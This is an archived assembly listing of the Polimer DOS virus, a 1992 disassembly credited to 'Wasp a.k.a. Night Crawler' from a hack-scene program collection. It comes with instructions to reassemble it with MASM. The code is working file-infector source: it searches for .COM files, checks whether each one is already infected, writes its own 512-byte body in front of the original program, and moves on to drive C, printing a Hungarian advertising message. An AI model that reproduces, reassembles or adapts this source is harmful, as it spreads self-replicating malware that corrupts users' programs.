home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / POLIMER.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  6KB  |  275 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                        POLIMER VIRUS                                 ██
  7. ;██                                                                      ██
  8. ;██      Disassembly by >> Wasp << a.k.a. Night Crawler.                 ██
  9. ;██                                         ██
  10. ;██      Created:   5-Jan-92                             ██
  11. ;██      Version:   1.0d                                                 ██
  12. ;██      Passes:    5           Analysis Options on: OW                 ██
  13. ;██                                         ██
  14. ;██      Reassemble with MASM 5.01                                       ██
  15. ;██████████████████████████████████████████████████████████████████████████
  16.   
  17. movseg         macro reg16, unused, Imm16     ; Fixup for Assembler
  18.          ifidn    <reg16>, <bx>
  19.          db    0BBh
  20.          endif
  21.          ifidn    <reg16>, <cx>
  22.          db    0B9h
  23.          endif
  24.          ifidn    <reg16>, <dx>
  25.          db    0BAh
  26.          endif
  27.          ifidn    <reg16>, <si>
  28.          db    0BEh
  29.          endif
  30.          ifidn    <reg16>, <di>
  31.          db    0BFh
  32.          endif
  33.          ifidn    <reg16>, <bp>
  34.          db    0BDh
  35.          endif
  36.          ifidn    <reg16>, <sp>
  37.          db    0BCh
  38.          endif
  39.          ifidn    <reg16>, <BX>
  40.          db    0BBH
  41.          endif
  42.          ifidn    <reg16>, <CX>
  43.          db    0B9H
  44.          endif
  45.          ifidn    <reg16>, <DX>
  46.          db    0BAH
  47.          endif
  48.          ifidn    <reg16>, <SI>
  49.          db    0BEH
  50.          endif
  51.          ifidn    <reg16>, <DI>
  52.          db    0BFH
  53.          endif
  54.          ifidn    <reg16>, <BP>
  55.          db    0BDH
  56.          endif
  57.          ifidn    <reg16>, <SP>
  58.          db    0BCH
  59.          endif
  60.          dw    seg Imm16
  61. endm
  62. DATA_1E        EQU    80H
  63. DATA_2E        EQU    162H
  64. DATA_3E        EQU    16AH
  65. DATA_4E        EQU    0C0H
  66. DATA_5E        EQU    103H
  67. DATA_6E        EQU    128H
  68. DATA_7E        EQU    2B9H
  69. DATA_8E        EQU    0C0H
  70. DATA_9E        EQU    0C1H
  71. DATA_10E    EQU    0C8H
  72. DATA_12E    EQU    0CAH
  73. DATA_14E    EQU    0CCH
  74. DATA_23E    EQU    0
  75. DATA_24E    EQU    100H
  76. DATA_25E    EQU    200H
  77.   
  78. SEG_A        SEGMENT    BYTE PUBLIC
  79.         ASSUME    CS:SEG_A, DS:SEG_A
  80.   
  81.   
  82.         ORG    100h
  83.   
  84. POLIMER        PROC    FAR
  85.   
  86. START:
  87.         JMP    LOC_4            ; (0183)
  88.         DB     00H, 3FH
  89.         DB    7 DUP (3FH)
  90.         DB     43H, 4FH, 4DH, 00H, 1AH, 00H
  91.         DB     00H, 00H, 2EH,0F2H, 0CH, 2BH
  92.         DB     01H
  93.         DB    15 DUP (0)
  94. DATA_18        DB    'A le', 27H, 'jobb kazetta a POLI'
  95.         DB    'MER kazetta !   Vegye ezt !    ', 0AH
  96.         DB    0DH, '$'
  97.         DB    'ERROR', 0AH, 0DH, '$'
  98. DATA_19        DW    5
  99. DATA_20        DW    18D8H
  100. LOC_1:
  101.         MOV    SI,DATA_7E
  102.         MOV    DI,DATA_8E
  103.         MOV    CX,30H
  104.         CLD                ; Clear direction
  105.         REP    MOVSB            ; Rep when cx >0 Mov [si] to es:[di]
  106.         JMP    $-0BAH
  107. LOC_2:
  108.         JMP    LOC_10            ; (0296)
  109. LOC_3:
  110.         JMP    LOC_9            ; (028F)
  111. LOC_4:
  112.         MOV    AL,0
  113.         MOV    AH,0EH
  114.         INT    21H            ; DOS Services  ah=function 0Eh
  115.                         ;  set default drive dl  (0=a:)
  116.         MOV    DX,DATA_4E
  117.         MOV    AH,1AH
  118.         INT    21H            ; DOS Services  ah=function 1Ah
  119.                         ;  set DTA to ds:dx
  120.         MOV    DX,DATA_6E
  121.         MOV    AH,9
  122.         INT    21H            ; DOS Services  ah=function 09h
  123.                         ;  display char string at ds:dx
  124. LOC_5:
  125.         MOV    DX,DATA_5E
  126.         MOV    AH,11H
  127.         INT    21H            ; DOS Services  ah=function 11h
  128.                         ;  find filename, FCB @ ds:dx
  129.         TEST    AL,AL
  130.         JNZ    LOC_2            ; Jump if not zero
  131. LOC_6:
  132.         MOV    WORD PTR DS:DATA_14E,2424H
  133.         MOV    AX,DS:DATA_12E
  134.         MOV    WORD PTR DS:DATA_12E+1,AX
  135.         MOV    AX,DS:DATA_10E
  136.         MOV    AL,2EH            ; '.'
  137.         MOV    WORD PTR DS:DATA_10E+1,AX
  138.         MOV    AL,2
  139.         MOV    DX,DATA_9E
  140.         MOV    AH,3DH            ; '='
  141.         INT    21H            ; DOS Services  ah=function 3Dh
  142.                         ;  open file, al=mode,name@ds:dx
  143.         JC    LOC_3            ; Jump if carry Set
  144.         MOV    DATA_19,AX
  145.         MOV    BX,DATA_19
  146.         MOV    CX,0
  147.         MOV    DX,0
  148.         MOV    AL,2
  149.         MOV    AH,42H            ; 'B'
  150.         INT    21H            ; DOS Services  ah=function 42h
  151.                         ;  move file ptr, cx,dx=offset
  152.         JC    LOC_3            ; Jump if carry Set
  153.         MOV    DATA_20,AX
  154.         MOV    BX,DATA_19
  155.         MOV    CX,0
  156.         MOV    DX,0
  157.         MOV    AL,0
  158.         MOV    AH,42H            ; 'B'
  159.         INT    21H            ; DOS Services  ah=function 42h
  160.                         ;  move file ptr, cx,dx=offset
  161.         JC    LOC_3            ; Jump if carry Set
  162.         MOV    BX,DATA_19
  163.         MOV    CX,200H
  164.         MOV    DX,DATA_23E
  165.         MOV    AX,DS
  166.         ADD    AX,1000H
  167.         MOV    DS,AX
  168.         MOV    AH,3FH            ; '?'
  169.         INT    21H            ; DOS Services  ah=function 3Fh
  170.                         ;  read file, cx=bytes, to ds:dx
  171.         MOV    CX,80H
  172.         CLD                ; Clear direction
  173.         MOV    SI,DATA_24E
  174.         MOV    DI,OFFSET DS:[200H]
  175.         REPE    CMPSB            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  176.         JZ    LOC_8            ; Jump if zero
  177.         MOV    BX,CS:DATA_19
  178.         MOV    CX,CS:DATA_20
  179.         SUB    CX,200H
  180.         MOV    DX,DATA_25E
  181.         MOV    AH,3FH            ; '?'
  182.         INT    21H            ; DOS Services  ah=function 3Fh
  183.                         ;  read file, cx=bytes, to ds:dx
  184.         MOV    AX,DS
  185.         SUB    AX,1000H
  186.         MOV    DS,AX
  187.         MOV    BX,DATA_19
  188.         MOV    CX,0
  189.         MOV    DX,0
  190.         MOV    AL,0
  191.         MOV    AH,42H            ; 'B'
  192.         INT    21H            ; DOS Services  ah=function 42h
  193.                         ;  move file ptr, cx,dx=offset
  194.         MOV    BX,DATA_19
  195.         MOV    DX,OFFSET DS:[100H]
  196.         MOV    CX,200H
  197.         MOV    AH,40H            ; '@'
  198.         INT    21H            ; DOS Services  ah=function 40h
  199.                         ;  write file cx=bytes, to ds:dx
  200.         MOV    BX,DATA_19
  201.         MOV    DX,DATA_23E
  202.         MOV    CX,DATA_20
  203.         MOV    AX,DS
  204.         ADD    AX,1000H
  205.         MOV    DS,AX
  206.         MOV    AH,40H            ; '@'
  207.         INT    21H            ; DOS Services  ah=function 40h
  208.                         ;  write file cx=bytes, to ds:dx
  209.         MOV    AX,DS
  210.         SUB    AX,1000H
  211.         MOV    DS,AX
  212.         MOV    BX,DATA_19
  213.         MOV    AH,3EH            ; '>'
  214.         INT    21H            ; DOS Services  ah=function 3Eh
  215.                         ;  close file, bx=file handle
  216.         JMP    SHORT LOC_10        ; (0296)
  217.         DB    90H
  218. LOC_7:
  219.         MOV    DX,DATA_5E
  220.         MOV    AH,12H
  221.         INT    21H            ; DOS Services  ah=function 12h
  222.                         ;  find next filenam, FCB @ds:dx
  223.         TEST    AL,AL
  224.         JNZ    LOC_10            ; Jump if not zero
  225.         JMP    LOC_6            ; (01A2)
  226. LOC_8:
  227.         MOV    AX,DS
  228.         SUB    AX,1000H
  229.         MOV    DS,AX
  230.         MOV    BX,DS:DATA_3E
  231.         MOV    AH,3EH            ; '>'
  232.         INT    21H            ; DOS Services  ah=function 3Eh
  233.                         ;  close file, bx=file handle
  234.         JMP    SHORT LOC_7        ; (0270)
  235. LOC_9:
  236.         MOV    DX,DATA_2E
  237.         MOV    AH,9
  238.         INT    21H            ; DOS Services  ah=function 09h
  239.                         ;  display char string at ds:dx
  240. LOC_10:
  241.         MOV    AH,19H
  242.         INT    21H            ; DOS Services  ah=function 19h
  243.                         ;  get default drive al  (0=a:)
  244.         TEST    AL,AL
  245.         JNZ    LOC_11            ; Jump if not zero
  246.         MOV    DL,2
  247.         MOV    AH,0EH
  248.         INT    21H            ; DOS Services  ah=function 0Eh
  249.                         ;  set default drive dl  (0=a:)
  250.         MOV    AH,19H
  251.         INT    21H            ; DOS Services  ah=function 19h
  252.                         ;  get default drive al  (0=a:)
  253.         TEST    AL,AL
  254.         JZ    LOC_11            ; Jump if zero
  255.         JMP    LOC_5            ; (0197)
  256. LOC_11:
  257.         MOV    DX,DATA_1E
  258.         MOV    AH,1AH
  259.         INT    21H            ; DOS Services  ah=function 1Ah
  260.                         ;  set DTA to ds:dx
  261.         JMP    LOC_1            ; (016E)
  262.         DB    0BEH, 00H, 03H
  263.         DB    0BFH, 00H, 01H,0B9H, 00H,0FDH
  264.         DB    0FCH,0F3H,0A4H,0EBH
  265.         DB     32H, 90H
  266.         DB    56 DUP (0)
  267.   
  268. POLIMER        ENDP
  269.   
  270. SEG_A        ENDS
  271.   
  272.   
  273.   
  274.         END    START
  275.